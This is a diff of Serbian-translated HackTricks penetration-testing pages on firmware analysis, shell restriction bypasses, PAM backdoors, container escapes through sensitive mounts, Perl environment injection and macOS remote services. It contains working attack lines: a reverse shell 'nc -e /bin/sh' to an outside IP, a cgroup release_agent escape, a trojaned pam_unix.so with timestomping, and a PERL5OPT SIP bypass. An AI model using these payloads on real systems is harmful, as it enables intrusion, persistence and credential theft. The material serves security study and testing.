I izvorni kod i kompajlirane binarne datoteke pronađene u datotečnom sistemu moraju se pažljivo pregledati zbog ranjivosti. Alati poput **checksec.sh** za Unix binarne datoteke i **PESecurity** za Windows binarne datoteke pomažu u identifikaciji nezaštićenih binarnih datoteka koje bi mogle biti iskorišćene.
|
||||
|
||||
## Emulacija firmvera za dinamičku analizu
|
||||
## Emulacija Firmvera za Dinamičku Analizu
|
||||
|
||||
Proces emulacije firmvera omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa zavisnostima od hardvera ili arhitekture, ali prenos korenskog datotečnog sistema ili specifičnih binarnih datoteka na uređaj sa odgovarajućom arhitekturom i redosledom bajtova, kao što je Raspberry Pi, ili na unapred izgrađenu virtuelnu mašinu, može olakšati dalja testiranja.
|
||||
Proces emulacije firmvera omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa zavisnostima od hardvera ili arhitekture, ali prebacivanje root datotečnog sistema ili specifičnih binarnih datoteka na uređaj sa odgovarajućom arhitekturom i redosledom bajtova, kao što je Raspberry Pi, ili na unapred izgrađenu virtuelnu mašinu, može olakšati dalja testiranja.
|
||||
|
||||
### Emulacija pojedinačnih binarnih datoteka
|
||||
### Emulacija Pojedinačnih Binarnih Datoteka
|
||||
|
||||
Za ispitivanje pojedinačnih programa, identifikacija redosleda bajtova programa i CPU arhitekture je ključna.
|
||||
|
||||
#### Primer sa MIPS arhitekturom
|
||||
#### Primer sa MIPS Arhitekturom
|
||||
|
||||
Da bi se emulirala binarna datoteka MIPS arhitekture, može se koristiti komanda:
|
||||
```bash
|
||||
@ -194,13 +194,13 @@ Alati kao što su [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware
|
||||
|
||||
U ovoj fazi, koristi se stvarno ili emulirano okruženje uređaja za analizu. Ključno je održati pristup shell-u operativnom sistemu i datotečnom sistemu. Emulacija možda neće savršeno oponašati interakcije hardvera, što zahteva povremena ponovna pokretanja emulacije. Analiza treba da ponovo pregleda datotečni sistem, iskoristi izložene veb stranice i mrežne usluge, i istraži ranjivosti bootloader-a. Testovi integriteta firmvera su ključni za identifikaciju potencijalnih ranjivosti backdoor-a.
|
||||
|
||||
## Tehnike analize u runtime-u
|
||||
## Tehnike analize u vreme izvođenja
|
||||
|
||||
Analiza u runtime-u uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje tačaka prekida i identifikaciju ranjivosti kroz fuzzing i druge tehnike.
|
||||
Analiza u vreme izvođenja uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje tačaka prekida i identifikaciju ranjivosti kroz fuzzing i druge tehnike.
|
||||
|
||||
## Eksploatacija binarnih datoteka i dokaz koncepta
|
||||
|
||||
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje na nižim jezicima. Zaštite u runtime-u u ugrađenim sistemima su retke, ali kada su prisutne, tehnike kao što su Return Oriented Programming (ROP) mogu biti neophodne.
|
||||
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje u jezicima nižeg nivoa. Zaštite u vreme izvođenja u ugrađenim sistemima su retke, ali kada su prisutne, tehnike kao što su Return Oriented Programming (ROP) mogu biti neophodne.
|
||||
|
||||
## Pripremljeni operativni sistemi za analizu firmvera
|
||||
|
||||
@ -208,7 +208,7 @@ Operativni sistemi kao što su [AttifyOS](https://github.com/adi0x90/attifyos) i
|
||||
|
||||
## Pripremljeni OS-ovi za analizu firmvera
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distribucija namenjena pomoći u proceni bezbednosti i penetracionom testiranju uređaja Interneta stvari (IoT). Štedi vam mnogo vremena pružajući unapred konfigurisano okruženje sa svim potrebnim alatima.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distribucija namenjena da vam pomogne u izvođenju procene bezbednosti i penetracionog testiranja uređaja Interneta stvari (IoT). Štedi vam mnogo vremena pružajući unapred konfigurisano okruženje sa svim potrebnim alatima.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Operativni sistem za testiranje bezbednosti ugrađenih sistema zasnovan na Ubuntu 18.04, unapred učitan sa alatima za testiranje bezbednosti firmvera.
|
||||
|
||||
## Napadi na smanjenje verzije firmvera i nesigurni mehanizmi ažuriranja
|
||||
@ -223,7 +223,7 @@ Tipični tok napada:
|
||||
* Preuzmite je iz trećih strana kao što su VirusTotal, internet arhive, forumi itd.
|
||||
2. **Otpremite ili poslužite sliku uređaju** putem bilo kojeg izloženog kanala za ažuriranje:
|
||||
* Web UI, API mobilne aplikacije, USB, TFTP, MQTT itd.
|
||||
* Mnogi potrošački IoT uređaji izlažu *neautentifikovane* HTTP(S) krajnje tačke koje prihvataju Base64-encoded firmware blobove, dekodiraju ih na serveru i pokreću oporavak/upgrade.
|
||||
* Mnogi potrošački IoT uređaji izlažu *neautentifikovane* HTTP(S) krajnje tačke koje prihvataju Base64-encoded firmware blob-ove, dekodiraju ih na serveru i pokreću oporavak/upgrade.
|
||||
3. Nakon smanjenja verzije, iskoristite ranjivost koja je zakrpljena u novijem izdanju (na primer, filter za injekciju komandi koji je dodat kasnije).
|
||||
4. Opcionalno, ponovo flešujte najnoviju sliku ili onemogućite ažuriranja kako biste izbegli otkrivanje nakon što se postigne postojanost.
|
||||
|
||||
@ -234,11 +234,11 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
U ranjivoj (smanjenoj) firmver verziji, `md5` parametar se direktno dodaje u shell komandu bez sanitizacije, što omogućava injekciju proizvoljnih komandi (ovde – omogućavanje SSH pristupa kao root). Kasnije verzije firmvera su uvele osnovni filter za karaktere, ali odsustvo zaštite od smanjenja čini ispravku besmislenom.
|
||||
U ranjivoj (smanjenoj) firmver verziji, `md5` parametar se direktno dodaje u shell komandu bez sanitizacije, što omogućava injekciju proizvoljnih komandi (ovde – omogućavanje SSH pristupa kao root). Kasnije verzije firmvera su uvele osnovni filter karaktera, ali odsustvo zaštite od smanjenja čini ispravku besmislenom.
|
||||
|
||||
### Ekstrakcija Firmvera Iz Mobilnih Aplikacija
|
||||
|
||||
Mnogi prodavci pakiraju pune slike firmvera unutar svojih pratećih mobilnih aplikacija kako bi aplikacija mogla ažurirati uređaj putem Bluetooth/Wi-Fi. Ovi paketi se obično čuvaju nešifrovani u APK/APEX pod putanjama kao što su `assets/fw/` ili `res/raw/`. Alati kao što su `apktool`, `ghidra`, ili čak običan `unzip` omogućavaju vam da preuzmete potpisane slike bez dodirivanja fizičkog hardvera.
|
||||
Mnogi prodavci pakiraju pune slike firmvera unutar svojih pratećih mobilnih aplikacija kako bi aplikacija mogla ažurirati uređaj putem Bluetooth-a/Wi-Fi-a. Ovi paketi se obično čuvaju nešifrovani u APK/APEX-u pod putanjama kao što su `assets/fw/` ili `res/raw/`. Alati kao što su `apktool`, `ghidra`, ili čak običan `unzip` omogućavaju vam da preuzmete potpisane slike bez dodirivanja fizičkog hardvera.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
@ -247,12 +247,12 @@ firmware_v1.3.11.490_signed.bin
|
||||
### Checklist for Assessing Update Logic
|
||||
|
||||
* Da li je transport/autentifikacija *update endpoint*-a adekvatno zaštićena (TLS + autentifikacija)?
|
||||
* Da li uređaj upoređuje **brojeve verzija** ili **monotoni anti-rollback brojač** pre nego što izvrši flash?
|
||||
* Da li uređaj upoređuje **brojeve verzija** ili **monotonički anti-rollback brojač** pre nego što izvrši flash?
|
||||
* Da li je slika verifikovana unutar sigurnog boot lanca (npr. potpisi provereni od strane ROM koda)?
|
||||
* Da li korisnički kod vrši dodatne provere (npr. dozvoljena mapa particija, broj modela)?
|
||||
* Da li *delimični* ili *rezervni* tokovi ažuriranja ponovo koriste istu logiku validacije?
|
||||
|
||||
> 💡 Ako bilo šta od navedenog nedostaje, platforma je verovatno ranjiva na rollback napade.
|
||||
> 💡 Ako nešto od navedenog nedostaje, platforma je verovatno ranjiva na rollback napade.
|
||||
|
||||
## Vulnerable firmware to practice
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uobičajeni Obilazi Ograničenja
|
||||
## Uobičajeni zaobilaženja ograničenja
|
||||
|
||||
### Reverse Shell
|
||||
```bash
|
||||
@ -124,7 +124,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Zaobilaženje IP-ova
|
||||
### Bypass IPs
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
@ -133,7 +133,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Dobijanje karaktera iz Env promenljivih
|
||||
### Dobijanje karaktera iz promenljivih okruženja
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Kada ranjivost omogućava delimičnu kontrolu nad argumentom koji na kraju dolazi do `system()` ili drugog shella, možda nećete znati tačan pomak na kojem izvršavanje počinje da čita vaš payload. Tradicionalni NOP sledovi (npr. `\x90`) **ne** rade u sintaksi shella, ali Bash će bezopasno ignorisati vodeći razmak pre izvršavanja komande.
|
||||
Kada ranjivost omogućava da delimično kontrolišete argument koji na kraju dolazi do `system()` ili drugog shella, možda ne znate tačno pomeranje na kojem izvršavanje počinje da čita vaš payload. Tradicionalni NOP sledovi (npr. `\x90`) **ne** rade u sintaksi shella, ali Bash će bezopasno ignorisati vodeći razmak pre izvršavanja komande.
|
||||
|
||||
Stoga možete kreirati *NOP sled za Bash* tako što ćete prefiksirati svoju pravu komandu dugim nizom razmaka ili tab karaktera:
|
||||
```bash
|
||||
@ -318,7 +318,7 @@ Stoga možete kreirati *NOP sled za Bash* tako što ćete prefiksirati svoju pra
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Ako ROP lanac (ili bilo koja primitivna tehnika korupcije memorije) dovede pokazivač instrukcija bilo gde unutar bloka prostora, Bash parser jednostavno preskoči razmake dok ne dođe do `nc`, pouzdano izvršavajući vašu komandu.
|
||||
Ako ROP lanac (ili bilo koja primitivna greška u memoriji) dovede pokazivač instrukcija bilo gde unutar bloka prostora, Bash parser jednostavno preskoči razmake dok ne dođe do `nc`, pouzdano izvršavajući vašu komandu.
|
||||
|
||||
Praktične upotrebe:
|
||||
|
||||
|
@ -40,7 +40,7 @@ Kontrole određuju odgovor modula na uspeh ili neuspeh, utičući na celokupni p
|
||||
- **Required**: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon što su svi naredni moduli provereni.
|
||||
- **Requisite**: Odmah prekida proces u slučaju neuspeha.
|
||||
- **Sufficient**: Uspeh zaobilazi ostale provere iste domene osim ako neki naredni modul ne ne uspe.
|
||||
- **Optional**: Uzrokuje neuspeh samo ako je to jedini modul u steku.
|
||||
- **Optional**: Uzrokuje neuspeh samo ako je jedini modul u steku.
|
||||
|
||||
#### Primer scenarija
|
||||
|
||||
@ -48,9 +48,9 @@ U postavci sa više auth modula, proces prati strogi redosled. Ako `pam_securett
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Klasična trik za postizanje trajnosti u visokovrednim Linux okruženjima je **zamena legitimne PAM biblioteke sa trojanskim drop-in**. Budući da svaka SSH / konzolna prijava poziva `pam_unix.so:pam_sm_authenticate()`, nekoliko redova C koda je dovoljno da se uhvate akreditivi ili implementira *magic* zaobilaženje lozinke.
|
||||
Klasična trik za postizanje trajne prisutnosti u visokovrednim Linux okruženjima je **zamena legitimne PAM biblioteke sa trojanskim drop-in**. Budući da svaka SSH / konzolna prijava poziva `pam_unix.so:pam_sm_authenticate()`, nekoliko redova C koda je dovoljno da se uhvate akreditivi ili implementira *magic* zaobilaženje lozinke.
|
||||
|
||||
### Cheatsheet za kompajliranje
|
||||
### Cheatsheet za kompilaciju
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
@ -97,7 +97,7 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
|
||||
### Detekcija
|
||||
* Uporedite MD5/SHA256 `pam_unix.so` sa paketom distribucije.
|
||||
* Proverite za datoteke koje su dostupne za pisanje svima ili neobično vlasništvo pod `/lib/security/`.
|
||||
* Proverite za datoteke koje su dostupne za pisanje svima ili neobičnu svojinu pod `/lib/security/`.
|
||||
* `auditd` pravilo: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### Reference
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
Izlaganje `/proc`, `/sys` i `/var` bez odgovarajuće izolacije prostora imena uvodi značajne bezbednosne rizike, uključujući povećanje napadačke površine i otkrivanje informacija. Ovi direktorijumi sadrže osetljive datoteke koje, ako su pogrešno konfigurisane ili pristupene od strane neovlašćenog korisnika, mogu dovesti do bekstva iz kontejnera, modifikacije hosta ili pružiti informacije koje pomažu daljim napadima. Na primer, pogrešno montiranje `-v /proc:/host/proc` može zaobići AppArmor zaštitu zbog svoje putanje, ostavljajući `/host/proc` nezaštićenim.
|
||||
|
||||
**Možete pronaći dodatne detalje o svakoj potencijalnoj ranjivosti u** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
**Možete pronaći dalјe detalje o svakoj potencijalnoj ranjivosti u** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## procfs Vulnerabilities
|
||||
|
||||
@ -16,7 +16,7 @@ Ovaj direktorijum omogućava pristup za modifikaciju kernel varijabli, obično p
|
||||
|
||||
- Opisano u [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Ako možete da pišete unutar ove datoteke, moguće je napisati cevi `|` praćene putanjom do programa ili skripte koja će biti izvršena nakon što dođe do kvara.
|
||||
- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarnog fajla unutar svog kontejnerskog fajl sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarni fajl van kontejnera.
|
||||
- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog datotečnog sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarnu datoteku van kontejnera.
|
||||
|
||||
- **Primer testiranja i eksploatacije**:
|
||||
```bash
|
||||
@ -49,17 +49,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Proveri pristup modprobe
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Referencirano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Pominje se u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Globalna zastavica koja kontroliše da li kernel panici ili poziva OOM killer kada dođe do OOM uslova.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o datotečnom sistemu.
|
||||
- Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o fajl sistemu.
|
||||
- Pristup za pisanje može omogućiti razne napade uskraćivanja usluge protiv hosta.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Omogućava registraciju interpretera za nenativne binarne formate na osnovu njihovog magičnog broja.
|
||||
- Omogućava registraciju interpretatora za nenativne binarne formate na osnovu njihovog magičnog broja.
|
||||
- Može dovesti do eskalacije privilegija ili pristupa root shell-u ako je `/proc/sys/fs/binfmt_misc/register` moguće pisati.
|
||||
- Relevantna eksploatacija i objašnjenje:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
@ -88,7 +88,7 @@ echo b > /proc/sysrq-trigger # Restartuje host
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Lista kernel izvezene simbole i njihove adrese.
|
||||
- Lista kernel eksportovane simbole i njihove adrese.
|
||||
- Osnovno za razvoj kernel eksploatacija, posebno za prevazilaženje KASLR-a.
|
||||
- Informacije o adresama su ograničene kada je `kptr_restrict` postavljen na `1` ili `2`.
|
||||
- Detalji u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
@ -103,17 +103,17 @@ echo b > /proc/sysrq-trigger # Restartuje host
|
||||
|
||||
- Predstavlja fizičku memoriju sistema u ELF core formatu.
|
||||
- Čitanje može otkriti sadržaj memorije host sistema i drugih kontejnera.
|
||||
- Velika veličina datoteke može dovesti do problema sa čitanjem ili rušenjem softvera.
|
||||
- Velika veličina fajla može dovesti do problema sa čitanjem ili rušenja softvera.
|
||||
- Detaljna upotreba u [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Alternativni interfejs za `/dev/kmem`, koji predstavlja kernel virtuelnu memoriju.
|
||||
- Alternativni interfejs za `/dev/kmem`, predstavlja kernel virtuelnu memoriju.
|
||||
- Omogućava čitanje i pisanje, što omogućava direktnu modifikaciju kernel memorije.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Alternativni interfejs za `/dev/mem`, koji predstavlja fizičku memoriju.
|
||||
- Alternativni interfejs za `/dev/mem`, predstavlja fizičku memoriju.
|
||||
- Omogućava čitanje i pisanje, modifikacija sve memorije zahteva rešavanje virtuelnih do fizičkih adresa.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
@ -131,7 +131,7 @@ echo b > /proc/sysrq-trigger # Restartuje host
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Koristi se za rukovanje kernel uređajima `uevents`.
|
||||
- Pisanje u `/sys/kernel/uevent_helper` može izvršiti proizvoljne skripte prilikom aktiviranja `uevent`.
|
||||
- Pisanje u `/sys/kernel/uevent_helper` može izvršiti proizvoljne skripte prilikom aktiviranja `uevent`-a.
|
||||
- **Primer za eksploataciju**:
|
||||
```bash
|
||||
|
||||
@ -199,17 +199,17 @@ metadata:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
@ -320,7 +320,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # zahteva CVE-2022-0492
|
||||
|
||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # aktivira događaj praznog cgrupa
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # pokreće događaj praznog cgrupa
|
||||
```
|
||||
|
||||
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Putem `PERL5OPT` & `PERL5LIB` env varijable
|
||||
|
||||
Korišćenjem env varijable **`PERL5OPT`** moguće je naterati **Perl** da izvrši proizvoljne komande kada se interpreter pokrene (čak **pre** nego što se prva linija ciljnog skripta analizira).
|
||||
Korišćenjem env varijable **`PERL5OPT`** moguće je naterati **Perl** da izvrši proizvoljne komande kada se interpreter pokrene (čak **pre** nego što se prva linija ciljnog skripta obradi).
|
||||
Na primer, kreirajte ovaj skript:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -58,7 +58,7 @@ Tipičan izlaz na macOS 13/14 izgleda ovako:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Neki od vraćenih foldera čak ni ne postoje, međutim **`/Library/Perl/5.30`** postoji, *nije* zaštićen SIP-om i *nalazi se* pre foldera zaštićenih SIP-om. Stoga, ako možete pisati kao *root*, možete postaviti zloćudni modul (npr. `File/Basename.pm`) koji će biti *preferencijalno* učitan od strane bilo kog privilegovanog skripta koji uvozi taj modul.
|
||||
Neki od vraćenih foldera čak ni ne postoje, međutim **`/Library/Perl/5.30`** postoji, *nije* zaštićen SIP-om i *pre* je zaštićenih foldera SIP-om. Stoga, ako možete pisati kao *root*, možete postaviti zloćudni modul (npr. `File/Basename.pm`) koji će biti *preferencijalno* učitan od strane bilo kog privilegovanog skripta koji uvozi taj modul.
|
||||
|
||||
> [!WARNING]
|
||||
> I dalje vam je potreban **root** da biste pisali unutar `/Library/Perl`, a macOS će prikazati **TCC** prompt koji traži *Potpunu pristup disku* za proces koji vrši operaciju pisanja.
|
||||
@ -82,7 +82,7 @@ launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Kada `migrateLocalKDC` pokrene, `/usr/bin/perl` se pokreće sa zlonamernim `PERL5OPT` i izvršava `/private/tmp/migraine.sh` *pre nego što se SIP ponovo omogući*. Iz tog skripta možete, na primer, kopirati payload unutar **`/System/Library/LaunchDaemons`** ili dodeliti `com.apple.rootless` proširenu atribut kako biste učinili datoteku **neizbrisivom**.
|
||||
Kada `migrateLocalKDC` pokrene, `/usr/bin/perl` se pokreće sa malicioznim `PERL5OPT` i izvršava `/private/tmp/migraine.sh` *pre nego što se SIP ponovo omogući*. Iz tog skripta možete, na primer, kopirati payload unutar **`/System/Library/LaunchDaemons`** ili dodeliti `com.apple.rootless` proširenu atribut da biste učinili datoteku **neizbrisivom**.
|
||||
|
||||
Apple je ispravio problem u macOS **Ventura 13.4**, **Monterey 12.6.6** i **Big Sur 11.7.7**, ali stariji ili neispravljeni sistemi ostaju podložni eksploataciji.
|
||||
|
||||
|
@ -1,16 +1,16 @@
|
||||
# macOS Network Services & Protocols
|
||||
# macOS Mrežne Usluge i Protokoli
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Remote Access Services
|
||||
## Usluge Daljinskog Pristupa
|
||||
|
||||
Ovo su uobičajene macOS usluge za daljinski pristup.\
|
||||
Možete omogućiti/onemogućiti ove usluge u `System Settings` --> `Sharing`
|
||||
|
||||
- **VNC**, poznat kao “Screen Sharing” (tcp:5900)
|
||||
- **SSH**, nazvan “Remote Login” (tcp:22)
|
||||
- **Apple Remote Desktop** (ARD), ili “Remote Management” (tcp:3283, tcp:5900)
|
||||
- **AppleEvent**, poznat kao “Remote Apple Event” (tcp:3031)
|
||||
- **VNC**, poznat kao “Deljenje Ekrana” (tcp:5900)
|
||||
- **SSH**, nazvan “Daljinska Prijava” (tcp:22)
|
||||
- **Apple Remote Desktop** (ARD), ili “Daljinsko Upravljanje” (tcp:3283, tcp:5900)
|
||||
- **AppleEvent**, poznat kao “Daljinski Apple Događaj” (tcp:3031)
|
||||
|
||||
Proverite da li je neka od njih omogućena pokretanjem:
|
||||
```bash
|
||||
@ -32,13 +32,13 @@ Da biste omogućili ARD za razne administrativne zadatke kao što su eskalacija
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD pruža svestrane nivoe kontrole, uključujući posmatranje, deljenu kontrolu i punu kontrolu, sa sesijama koje traju čak i nakon promene korisničke lozinke. Omogućava slanje Unix komandi direktno, izvršavajući ih kao root za administrativne korisnike. Planiranje zadataka i daljinsko Spotlight pretraživanje su značajne karakteristike, olakšavajući daljinsko, nisko-utično pretraživanje osetljivih datoteka na više mašina.
|
||||
ARD pruža svestrane nivoe kontrole, uključujući posmatranje, deljenu kontrolu i punu kontrolu, sa sesijama koje traju čak i nakon promene korisničke lozinke. Omogućava slanje Unix komandi direktno, izvršavajući ih kao root za administrativne korisnike. Planiranje zadataka i daljinsko Spotlight pretraživanje su značajne karakteristike, olakšavajući daljinsko, niskoprofilno pretraživanje osetljivih datoteka na više mašina.
|
||||
|
||||
#### Nedavne ranjivosti u deljenju ekrana / ARD (2023-2025)
|
||||
|
||||
| Godina | CVE | Komponenta | Uticaj | Ispravljeno u |
|
||||
|--------|-----|------------|--------|---------------|
|
||||
|2023|CVE-2023-42940|Deljenje ekrana|Netačno renderovanje sesije može uzrokovati da se *pogrešan* desktop ili prozor prenese, što rezultira curenjem osetljivih informacija|macOS Sonoma 14.2.1 (Dec 2023) |
|
||||
|--------|-----|------------|--------|----------------|
|
||||
|2023|CVE-2023-42940|Deljenje ekrana|Netačno renderovanje sesije može uzrokovati da se prenese *pogrešan* desktop ili prozor, što rezultira curenjem osetljivih informacija|macOS Sonoma 14.2.1 (Dec 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Zaobilaženje zaštite memorije kernela koje se može povezati nakon uspešnog daljinskog prijavljivanja (aktivno iskorišćeno u prirodi)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mar 2024) |
|
||||
|
||||
**Saveti za učvršćivanje**
|
||||
@ -47,7 +47,7 @@ ARD pruža svestrane nivoe kontrole, uključujući posmatranje, deljenu kontrolu
|
||||
* Održavajte macOS potpuno ažuriranim (Apple obično isporučuje bezbednosne ispravke za poslednje tri glavne verzije).
|
||||
* Koristite **Jaku lozinku** *i* primenite opciju *“VNC gledatelji mogu kontrolisati ekran sa lozinkom”* **onemogućeno** kada je to moguće.
|
||||
* Stavite uslugu iza VPN-a umesto da izlažete TCP 5900/3283 internetu.
|
||||
* Dodajte pravilo vatrozida aplikacija da ograničite `ARDAgent` na lokalnu podmrežu:
|
||||
* Dodajte pravilo vatrozida aplikacije da ograničite `ARDAgent` na lokalnu podmrežu:
|
||||
|
||||
```bash
|
||||
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
|
||||
@ -96,11 +96,11 @@ Da biste zatim pretražili HTTP servise na mreži:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
Kada usluga počne, obaveštava sve uređaje na podmreži o svojoj dostupnosti putem multicast-a. Uređaji zainteresovani za ove usluge ne moraju slati zahteve, već jednostavno slušaju ova obaveštenja.
|
||||
Kada usluga počne, ona najavljuje svoju dostupnost svim uređajima na podmreži putem multicast-a. Uređaji zainteresovani za ove usluge ne moraju slati zahteve, već jednostavno slušaju ove najave.
|
||||
|
||||
Za korisnički prijatniji interfejs, aplikacija **Discovery - DNS-SD Browser** dostupna na Apple App Store-u može vizualizovati usluge koje se nude na vašoj lokalnoj mreži.
|
||||
|
||||
Alternativno, mogu se napisati prilagođeni skripti za pretraživanje i otkrivanje usluga koristeći biblioteku `python-zeroconf`. Skripta [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) demonstrira kreiranje pretraživača usluga za `_http._tcp.local.` usluge, ispisujući dodate ili uklonjene usluge:
|
||||
Alternativno, mogu se napisati prilagođeni skripti za pretraživanje i otkrivanje usluga koristeći biblioteku `python-zeroconf`. Skripta [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) demonstrira kreiranje pretraživača usluga za `_http._tcp.local.` usluge, štampajući dodate ili uklonjene usluge:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
@ -131,7 +131,7 @@ nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
|
||||
`dns-service-discovery` skripta šalje `_services._dns-sd._udp.local` upit i zatim enumeriše svaki oglašeni tip usluge.
|
||||
|
||||
* **mdns_recon** – Python alat koji skenira čitave opsege u potrazi za *pogrešno konfigurisanim* mDNS responderima koji odgovaraju na unicast upite (korisno za pronalaženje uređaja dostupnih preko podmreža/WAN):
|
||||
